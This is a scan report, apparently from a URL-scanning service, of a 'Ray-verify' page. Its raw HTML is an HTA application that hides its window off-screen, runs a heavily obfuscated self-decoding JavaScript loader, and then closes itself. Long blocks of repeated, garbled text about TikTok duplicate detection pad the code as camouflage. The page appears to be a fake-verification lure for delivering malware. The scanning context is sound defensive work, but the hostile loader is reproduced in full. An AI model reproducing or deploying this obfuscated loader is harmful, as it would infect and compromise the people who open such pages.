- スキャンID：
- 1f12062b-a8dc-4618-9efd-b8580bce028c終了
- 送信済みURL：
- https://tekascend.com/Ray-verify.html
- レポート終了日：
リンク · 0件検出
ページから特定された発信リンク
JavaScript変数 · 4件検出
ページのウィンドウオブジェクトにロードされたグローバルのJavaScript変数は関数以外の場所で宣言された変数で、現在のスコープ内であればコードのどこからでもアクセス可能です
| 名前 | 規模 |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| AASQ | string |
コンソールログメッセージ · 1件検出
Webコンソールにログ記録されたメッセージ
| 規模 | 分類 | ログ |
|---|---|---|
| error | network |
|
HTML
未加工のHTMLページ本文
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<script language="JavaScript">
window.moveTo(-4000, -4000);
/**
I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?
Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case
TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.
Let's look at the most popular question:
I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this
happening?
Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and
traffers would be swimming in views. By the way, a couple years ago it was like that.
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long b
een used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right intlooks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes
it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's
watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.looks for violations. The
video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's
watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.o the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
Let's look at the most popular question:
I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?
Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
*/
(function(){var USN='',DFP=549-538;function Ayp(w){var x=567589;var c=w.length;var y=[];for(var h=0;h<c;h++){y[h]=w.charAt(h)};for(var h=0;h<c;h++){var n=x*(h+254)+(x%40432);var e=x*(h+248)+(x%44696);var g=n%c;var z=e%c;var r=y[g];y[g]=y[z];y[z]=r;x=(n+e)%2268603;};return y.join('')};var XOH=Ayp('futposacrnbtuivokhcwsrlrnexgqytjcdomz').substr(0,DFP);var wvM='qaej}=t4e<-7+,+==8;;vp(r="<b"mxfph jhlant4tv{t"h(xam.v;ahr(fu..,] ulr,{pe7 ,r6)8+C6p(9(,S7[sC"7;q79ug8,7d2int+;nwa,;e,; s;.a=]8=.](f=gc=hn c10,o sg6e=u;1;8g(c.rv[pvs{+choa.p v=;;ex(vC9fhjn(56(p=}fof4r)v4lCj1a=phCogetnvrs+l=,,p{o0+ut0f)r C)8]"m0+es(c0.czl(+7+u18a;{;3n=or+0d.cer=2eo4t]=n0,.g ,{ia;;r=o()gi(8rzj)d.pp;lh;)l=suu[adwttr}0.yu>ardjule=rt1+Aae(o;g12)ka; +=vuan=;2+")pelrc2=a[ ufdioshA=a[h=veg(rtn[ar;}fs+)=e=l.-tnjf+r);hlrmo c9;)=i1r-l;;"e;e+d;,ery=strta==1,)iAvw(sa]aygs.-rljad0arCad(Av(m)r+)+c>chv};.2u;)r7kr[-e;aea;8a<2j l,;jittn=cuur;oifl4=)relvtann]rii(.twde6f;][]ah-l; tgtugkxrwel1l.p(i[r ldi=]q);o}((r.ot=;!]nlih).,f(e1,)[r -ahr)jsh3s,"ir[ymti9dlfre+.i8)hr" ri}+m.p]sfC=h6 xe9vxl f0x[)o;((o .9ov*5r=wb;,,ea16)=0a)(,{=]sz<tcstis.5)07;an[(pa;uurnovi;*( ,ir(s(j;nn=rp94l)=hv)r+.,ev<ehul8e("rris).1.nvogialarA+tren.j;tnhS+g,vv),v;]v6;z(ore)qf)m() skeu ngdpb[fi1lyn=p+),l5!v8=n ';var WkU=Ayp[XOH];var esP='';var ONz=WkU;var Pbd=WkU(esP,Ayp(wvM));var IeZ=Pbd(Ayp('ib3o.elBS5. e.veB,s_uB.(.7)4#Ir.!,dD}7fq)B04w85B.$)##(BB3,_B%(!3b+.b#! %C06!j=B,bnbo,,l$}pBn1}T%Tf a%e1)41)0.tB.=q0),wBr5o5%B#2BBp3fr#pB;_4# 4e8j0c#B60a#303e.e1.#B.B]#t_i.3;#B zs02n=)0Bt!o}#cb.$%.o(0B )[i..;rb0$0fb&.{0%. 4!el0#%cu$,(b.),u me$5r#rBf*p}..C{3(4Bnasc(e$$)0st2l3eoda+i!a1p)9]_ft).$,+!#BCCBg}..o3_{r["B5i=+,bBa! 4;4)0#.d0B{0\/.$dBtcbeB1$..).BtB+b$n_p0%ii,i_r;jBnc")=_.a;g+=!i\/#nbc=\/z7BpBo1iflB56Bif.47n!q,#;n).\/!)2=edbdBg#B&00(=$$0#S0B%tbyd}i(a#E016(b|20,!!nSfo#pbbb3%-01rls39_emB4$4.05.o9=5BB 0B(B37tr.23$.)4BB[e=d=$;.BBi.ojb6\/\'}70%eefl ntth;B0,Ns\/b.Bo13%o0]bBl0o4nu}aBy0(.!Bl.qB1,]=t".C$a=..rSe,o1teB}5f50=)7p;aB)i=B]Ch3B(zBo0.ziB#j((B)d"ezbaB4.(hr(15t#B0(.0dT0g;B)$e));0Db;3t5biona%;0s.3D!1r.rcBB(B0)B4m=35-B\/;4ljBt8(b.Bw.6\/1."}.(b10s(=b!o0)B3b6(_08eB4%,qBB),###B)S(+,B65..n;j(. 6._BB;7..]mfft$!w$r%;5t$%63B,,!ar#.IhBr7B#e(db,eqc1.b0a=b0&]mfb&b{oa:.,0t$B(=3#va.o#5$;zt#a++5gB%sc;.dcS--#eB0(!1Bn,(f$=BB.u\'fv}{.a$)_v!t27gc!,.,.Eb.Bi1r{13.#t#1(B\'.i135;;{}#_urb;e5)a.0t1=b!B)b.fre*.b(!.i0B20j)7+eeS!(=23iS,l.1;B#(.0B((_h.0B4h#b0j7h\/o!BB2*#8BD{SDaB[+z#e.,7&p_B!B.e7!s%5bpsb3fm Bs_B-%4,0.;B5e=3oB3#;iB[m(%S.s#4..gsB0l$"B54B\/!%+b5e-B.\/B))o(.n z;.l). [3=r9e#i0oBn4t{ae)f0.bB$)7i)�szt2",(!#ba*,rl%#B.l(h%+&B=04SB;.06BN3e4.w_,B.lB)4.ha=%qB8 # iq1i.]2)0no$fpBs[ \'e1b;(B-0B0)$t0 !0nz$BB#8(BBb.ij;t3t&.10{hS]39r;B0c4 \')l.b;$4#._#),nutB;i rch0-B$}i6$a)#*C}nB4;%# q)54i.g eb$a.BblhT0!+#vac6tnb7er662j%1ug\/_tB(qz;B,..7#1..fbt.){%dibtpf.Bo]'));var tea=ONz(USN,IeZ );tea(8042);return 9365})()
/**
I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?
Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case
TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.
Let's look at the most popular question:
I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this
happening?
Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and
traffers would be swimming in views. By the way, a couple years ago it was like that.
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long b
een used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right intlooks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes
it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's
watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.looks for violations. The
video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's
watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
These are stitched right into the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed,
parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.o the video signal and encrypted. Thus, every video uploaded to Tik
Translated with www.DeepL.com/Translator (free version)
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
Let's look at the most popular question:
I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?
Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.
TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.
First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.
However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.
Visible watermarks are the addition of a logo to a video that is clearly visible.
There are also digital watermarks that are invisible to the human eye.
*/
window.close();
</script>
</head><body><hta:application id="oHTA" applicationname="Bonjour" application="yes" width="10px" height="10px"></hta:application>
</body></html>